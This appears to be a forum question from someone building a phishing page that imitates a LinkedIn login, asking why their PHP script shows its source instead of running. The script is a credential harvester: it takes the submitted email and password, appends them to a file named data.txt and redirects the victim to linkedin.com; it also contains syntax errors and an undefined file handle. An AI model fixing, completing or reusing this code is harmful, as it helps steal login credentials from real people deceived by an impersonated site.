I tried to make a fishing website just for the experience and I got a problem with my PHP file. explain to the code: the code supposed to send you to "www.linkedin.com" and write your username and password to file called "data.txt" but when you press login button it just shows my PHP file...
<?php
header("Location: http://linkedin.com");
$email = $_POST['field1'];
$password = $_POST['field2'];
$data = 'Email : '.$email.' | Password : '.$password;'
$file = 'data.txt';
if (isset($_POST['field1']) && isset($_POST['field2'])) { // check if both fields are set
file_put_contents($file,$data.PHP_EOL,FILE_APPEND);
exit();
}
fwrite($fh,$data); // Write information to the file
fclose($fh); // Close the file
file_put_contents($file,$data.PHP_EOL,FILE_APPEND);
?>